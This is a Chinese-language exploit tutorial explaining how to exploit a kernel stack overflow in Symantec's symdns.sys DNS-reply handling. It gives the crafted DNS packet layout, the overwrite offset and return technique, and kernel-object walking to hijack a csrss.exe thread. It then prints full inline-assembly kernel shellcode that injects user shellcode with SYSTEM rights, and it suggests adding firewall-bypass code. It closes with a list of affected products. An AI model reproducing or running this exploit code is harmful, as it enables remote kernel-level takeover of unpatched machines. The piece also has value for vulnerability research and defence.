作者:sobeit 来自:https://www.xfocus.net
这个漏洞发生在symdns.sys中,当处理dns答复时,由于未检验总域名长度,导致可以输入一超长域名导致溢出,溢出发生在ring0、irql = 2(dispatch_level)、 进程pid为0(idle进程)的环境下。
一个dns报文格式如下:
“\xeb\x0b” //报文id,可以随意设置,但在这个漏洞里是别有用途的,后面会说到
“\x80\x00” //报文flag,15位置1表示这是一个答复报文
“\x00\x01” //问题数量
“\x00\x01” //答复数量
“\xxx\xxx” //授权资源记录数,在这里不重要,随便设置
“\xxx\xxx” //格外信息资源记录数,在这里不重要,随便设置
以上部分为dns报文头
“\xxx\xxx\x…” //域名,格式为每个分段域名长度+域名内容,比如www.buaa.edu.cn就是
\x03\x77\x77\x77\x04\x62\x75\x61\x61\x03\x65\x64\x75\x02\x63\x6e\x00
w w w b u a a e d u c n
\x00表示到了末尾。处理的时候会把那长度记录数换成0x2e,就是”.”,就完成了处理。
在symdns.sys中处理传入域名的函数位于symdns.sys基地址+0xa76处,这个函数在堆栈里分配了足够的空间(事实上,最后shellcode的执行并不是在堆栈中执行,而是在非分页池中执行)。传入的域名有最大长度限制,不能超过0x40个字节,所以我每段shellcode长度都是0x3f(63)个字节。在覆盖了532个字节后,覆盖了第二个调用的返回地址,至于为什么没覆盖第一个调用的返回地址我也不太清楚。这个漏洞有个特点,就是在堆栈中二次处理传入的域名,导致堆栈中shellcode后半部分面目全非、惨不忍睹。但很幸运的是在我们覆盖的返回地址所在的esp+0xc处保存有我们整个dns报文(包括dns报文头)的地址,是一个在非分页池的地址,
74816d74 4c816c9b 816d002e 816c9e34
|_____esp指向这 |_______这个就是非分页池的地址
现在大家应该知道该干啥了吧?虽然在内核里没有固定的jmp [esp+0xc]、 call [esp+0xc]这样的地址,但我们可以变通一下,使用诸如pop/pop/pop/ret这样的指令组合,机器的控制权就交到我们手上了。不过这3条pop指令里最好不要带有pop ebp,不然会莫名其妙的返回到一个奇怪的地址。在strstr函数的最后有两个pop/pop/pop/ret的组合挺合适。现在明白开头那个报文id的作用了吧?\xeb\x0b是一个直接跳转的机器指令,跳过一开始没用的dns报文头和第一段shellcode长度计数字节。flashsky在会刊里说要跳过长度计数字节,但0x3f对应的指令是aas,对eax进行ascii调整,所以在一般不影响eax和标志的情况下可以把这个0x3f也算作shellcode的一部分,可以省下不少字节^_^。
现在当前环境是0号进程,要把进程地址空间切到其他进程就得先获得那个进程的eprocess地址。0号进程很特别,就是该进程基本不挂在所有进程的链表上,比如说activeprocesslinks、sessionprocesslinks、workingsetexpansionlinks,正常情况来说只能枚举线程的waitlisthead来枚举所有线程并判断进程,这样很麻烦而已代码很长,但天无绝人之路,在kpcr+0x55c(+55c struct _kthread *npxthread)处保存有一个8号进程的一个线程ethread地址,由ethread+0x44处可以获得该线程所属eprocess的地址,而且8号进程是挂在除sessionprocesslinks之外的其它链表上的。下一步是切换进程地址空间,从目标进程eprocess+0x18处取出该进程页目录的物理地址并将当前cr3寄存器修改为该值既可(我一开始还修改了任务段ktss中的cr3也为该值,结果发现这不是必须的)。然后在该进程内选择一个合适的线程来运行我们的用户态shellcode,这个选择很重要,因为当前irql = 2,任何访问缺页的地址都将导致irql_not_less_or_equal蓝屏错误,因为缺页会导致页面i/o,最后会在对象上等待,这违背了不能在irql = 2等待对象的规则。按照一个标准的5调度状态模型的操作系统,当一个线程等待过久就会导致该线程的内核堆栈被换出内存,这样的线程我们是不能用的。所以我们需要判断ethread+=0x11e(+11e byte kernelstackresident)是否为true。这又关系到究竟该选择哪个系统进程,选择系统进程这样返回的shell是system的权限,该进程必须是个活跃的进程,才能保证每时每刻都有未被换出内存的线程。winlogon.exe是肯定不行的,因为在大多情况下这是一个0工作集进程。在lsass.exe、smss.exe、csrss.exe这3个进程里我最后选择了csrss.exe,因为win32的子系统无论怎样都应该闲不住吧:),事实也证明选择这个进程基本都可以找到合适线程。枚举一个进程的线程可以在eprocess+0x50处取链表头,该链表链住了该进程的所有线程,链表位置在ethread+0x1a4处:
struct _eprocess (sizeof=648)
+000 struct _kprocess pcb
+050 struct _list_entry threadlisthead
+050 struct _list_entry *flink
+054 struct _list_entry *blink
struct _ethread (sizeof=584)
+000 struct _kthread tcb
+1a4 struct _list_entry threadlistentry
+1a4 struct _list_entry *flink
+1a8 struct _list_entry *blink
或者eprocess+0x270处取链表头,链表位置在ethread+0x240处:
struct _eprocess (sizeof=648)
+270 struct _list_entry threadlisthead
+270 struct _list_entry *flink
+274 struct _list_entry *blink
struct _ethread (sizeof=584)
+240 struct _list_entry threadlistentry
+240 struct _list_entry *flink
+244 struct _list_entry *blink
剩下的就是在该进程地址空间内分配虚拟地址,锁定,并拷贝shellcode过去,依次调用api为:zwopenprocess(这里要注意,如果没改变cr3的话这个调用会导致蓝屏,因为地址空间不符)->zwallocatevirtualmemory->zwlockvirtualmemory->zwwritevirtualmemory,为了通用性我用mov eax, api number; int 2e这样的底层接口来调用api。在调用zwwritevirtualmemory之前我们得先修改该线程下次要执行的eip,它是保存在ktrap_frame+0x68处,把它修改为我们分配的地址。ktrap_frame在线程堆栈底-x29c的地方,ethread+0x128直接指向该地址。记得将原来的eip保存在我们的用户态shellcode中,类似push 0x12345678; ret这样的格式,代码就会返回12345678的地址,所以在内存中就是\x68\x78\x56\x34\x12\xc3,覆盖那个12345678就行了,在执行完我们的功能代码后线程会恢复正常执行。
最后一段是一些固定的针对该漏洞的特征返回,恢复一些寄存器值,把esp指向返回地址并让ebp恢复正常。这里我跳过了所有剩下的在symdns.sys的调用,因为那样会从堆栈中取值,而堆栈值很多都被我们改了,所以我直接返回到tcpip!udpdeliver处的调用,返回这里有个好处,就是它完全不管你处理了什么、怎么处理,它只管检测返回值,很符合我们的要求,呵呵。
这个shellcode大概只有3/4的成功率,因为在有些情况下我们的dns报文的地址不附加在esp+0xc处,还有有时会碰到进程所有线程都被换出了内存,还有一定的小概率会发生ndis死锁-_-有时候rp爆发时一天都没啥问题,有时虚拟机狂蓝屏。。。所以我的利用方法还不很成熟,还希望大家一起来讨论完善。有关内核溢出里最大的问题估计就是缺页的问题了,由于irql = 2下不能换页,所以有些情况下很可能有些关键的地方访问不了。一些变通的方法可以使用诸如work item,这可以在irql = 2下调用,然后由系统工作者线程来替我们完成工作。这都是些改进设想。搞定了安全返回的方法,现在正在ko非安全返回,估计也不是很难,但就是估计shellcode会大很多。
峰会上由于flashsky大牛不肯透露源代码,所以只好自己动手,丰衣足食了。这段时间由于得复习补考(上学期一不小心挂了4门#_#),所以拖了这么久。其实代码很早就写好了,就是懒得写这篇文档。今早终于下定决心花了一上午完成了这篇文档,估计难免有什么错误,望大家指出。
shellcode由内核shellcode和用户shellcode组成,内核shellcode负责返回并执行用户shellcode,用户shellcode则是普通的功能,注意得加入穿防火墙的代码就行。下面是内核shellcode代码,转成机器码只有260多个字节,基本不算太大:):
__declspec(naked) justtest()
{
__asm
{
call go1
go1:
pop eax
push eax
mov ebx, 0xffdff55c
mov ebx, dword ptr [ebx]
mov ebx, dword ptr [ebx+0x44]
push 0x73727363
findprocess:
mov edi, esp
lea esi, dword ptr [ebx+0x1fc]
push 0x4
pop ecx
repe cmpsb
jecxz go2
mov ebx, dword ptr [ebx+0xa0]
sub ebx, 0xa0
jmp findprocess
go2:
pop edx
mov edx, dword ptr [ebx+0x50]
findthread:
movzx ecx, byte ptr [edx-0x86]
dec ecx
jecxz go3
mov edx, dword ptr [edx]
jmp findthread
go3:
mov eax, dword ptr [ebx+0x18]
mov ebp, esp
sub esp, 0x40
push edx
mov cr3, eax
push 0x10
pop ecx
xor eax, eax
lea edi, dword ptr [ebp-0x40]
zerostack:
stosd
loop zerostack
mov byte ptr [ebp-0x38], 0x18
lea edi, dword ptr [edx+0x3c]
push edi
lea edi, dword ptr [ebp-0x38]
push edi
lea edi, dword ptr [ebp-0x8]
push 0x1f0fff
push edi
mov al, 0x6a
lea edx, dword ptr [esp]
int 0x2e
add esp, 0x10
test eax, eax
jnz failed
mov byte ptr [ebp-0x3], 0x2
push 0x40
push 0x1000
lea edi, dword ptr [ebp-0x4]
push edi
push eax
lea edi, dword ptr [ebp-0xc]
push edi
push dword ptr [ebp-0x8]
mov al, 0x10
lea edx, dword ptr [esp]
int 0x2e
add esp, 0x18
test eax, eax
jnz failed
push 0x2
lea ebx, dword ptr [ebp-0x4]
push ebx
lea ebx, dword ptr [ebp-0xc]
push ebx
push dword ptr [ebp-0x8]
mov al, 0x59
lea edx, dword ptr [esp]
int 0x2e
add esp, 0x10
test eax, eax
jnz failed
mov edi, dword ptr [ebp]
pop edx
mov edx, dword ptr [edx-0x7c]
push dword ptr [edx+0x68]
pop dword ptr [edi+0x210]
push dword ptr [ebp-0xc]
pop dword ptr [edx+0x68]
add edi, 0x11c
push eax
push 0x120
push edi
push dword ptr [ebp-0xc]
push dword ptr [ebp-0x8]
mov al, 0xf0
lea edx, dword ptr [esp]
int 0x2e
add esp, 0x14
failed:
add esp, 0xec
xor eax, eax
mov esi, dword ptr [esp+0x38]
mov ebp,esp
add ebp,0x88
ret 0x2c
}
}
ps:存在该漏洞的symantec产品有:
* – symantec norton internet security 2002
* – symantec norton internet security 2003
* – symantec norton internet security 2004
* – symantec norton internet security professional 2002
* – symantec norton internet security professional 2003
* – symantec norton internet security professional 2004
* – symantec norton personal firewall 2002
* – symantec norton personal firewall 2003
* – symantec norton personal firewall 2004
* – symantec client firewall 5.01, 5.1.1
* – symantec client security 1.0, 1.1, 2.0(scf 7.1)
* – symantec norton antispam 2004
该代码在windows2000 pro build 2195 sp4的虚拟机上测试通过,winxp原理一样。